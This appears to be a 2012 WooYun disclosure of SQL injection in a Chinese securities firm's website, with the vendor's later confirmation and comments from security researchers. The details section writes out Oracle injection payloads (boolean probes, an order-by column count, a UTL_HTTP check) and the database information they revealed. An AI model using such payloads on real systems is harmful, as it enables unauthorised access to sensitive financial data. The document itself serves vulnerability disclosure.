信达证券网站存在SQL注射漏洞

漏洞概要

缺陷编号:WooYun-2012-05987

漏洞标题:信达证券网站存在SQL注射漏洞

相关厂商:信达证券

漏洞作者:leaf

提交时间:2012-04-14 16:10

公开时间:2012-04-17 16:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

Tags标签:

漏洞详情

披露状态:

2012-04-14: 细节已通知厂商并且等待厂商处理中
2012-04-14: 厂商已查看当前漏洞内容,细节仅向厂商公开
2012-04-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

偶然浏览该站点,抱着试试看的心理改动了下地址栏的参数值...居然发现可注入!为了进一步证明漏洞存在,简单利用下获取到部分基本信息。望厂商尽快予以修复!

详细说明:

http://**.**.**.**/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20and%20exists(select%20*%20from%20dual)--http://**.**.**.**/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20and%20(select%20count%20(*)%20from%20user_tables)>0--...http://**.**.**.**/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20order%20by%2013--...http://**.**.**.**/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20and%20(select%20count(*)%20from%20all_objects%20where%20object_name='UTL_HTTP')>0--...

漏洞证明:

注入点:http://**.**.**.**/new/news/BaseInfo9.jsp?nav=1&stockCode=600001Web服务器主机信息: app01Web服务器IP地址: **.**.**.**当前数据库名: WZGAZX30.REGRESS.RDBMS.DEV.US.ORACLE.COM数据库字符集: SIMPLIFIED CHINESE_CHINA.ZHS16GBK当前用户名: WZGAZX30数据库版本: Oracle Database 10g Enterprise Edition Release **.**.**.**.0 - Prod

修复方案:

进行必要的过滤!

漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-04-17 16:10

厂商回复:

最新状态:

2012-04-18:报歉,没有及时确认。这个漏洞确认是高权限漏洞(DBA),可以利用进行进一步的渗透。同时,疑似存在其他非法用户添加的某系统用户。漏洞事件通过证券行业信息化主管部门(证监会信息中心)协调处置。

向leaf致歉。

对该漏洞评分如下:
CVSS评分:(AV:R/AC:L/Au:NR/C:C/A:P/I:C/B:N) Score:9.67(最高10分,高危)
即:远程攻击、攻击难度低、不需要用户认证,对机密性、完整性造成完全影响,对可用性造成部分。

技术难度系数:1.0(一般,oracle的系统比较大)
影响危害系数:1.4(较严重,涉及重要信息系统单位业务系统)
综合评分:9.67*1.0*1.4=13.538 (rank 14)

评价

  1. 2010-01-01 00:00 http://www.wooyun.org/corps/cncert国家互联网应急中心 白帽子 | Rank:0 漏洞数:0)

    还正在跑,每回看到大站 oracle 的SQL都头大。要是白帽子们能多整点东西就好了。

  2. 2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

    @cncert国家互联网应急中心 整什么东西?

  3. 2010-01-01 00:00 z@cx 白帽子 | Rank:323 漏洞数:37)

    @cncert国家互联网应急中心 同问,整啥东东。。。

  4. 2010-01-01 00:00 possible 白帽子 | Rank:296 漏洞数:31)

    是不是 oracle注入神器呀,瞎猜

  5. 2010-01-01 00:00 z@cx 白帽子 | Rank:323 漏洞数:37)

    @possible 每次遇到ORACLE数据库就头疼,表太多。。。

  6. 2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

    @[email protected] 早些年遇到oracle一般都是拿系统权限的,oracle注射不像其他的,现在不知道是什么情况了

  7. 2010-01-01 00:00 possible 白帽子 | Rank:296 漏洞数:31)

    @[email protected] 哦 我还真没有单独利用oracle注入点,几次都是配置文件下载,直接找固定表和字段 没有体会到这种麻烦,有机会学习一下...

  8. 2010-01-01 00:00 horseluke 白帽子 | Rank:108 漏洞数:18)

    @cncert国家互联网应急中心 同问整啥...证明的话,貌似导几条数据就成了吧...

  9. 2010-01-01 00:00 z@cx 白帽子 | Rank:323 漏洞数:37)

    @cncert国家互联网应急中心 中邮物流貌似还没有处理。。。

  10. 2010-01-01 00:00 leaf 白帽子 | Rank:793 漏洞数:102)

    @xsser @cncert国家互联网应急中心 之前看到“无影响厂商忽略”,心里拔凉拔凉的...现在终于恢复了...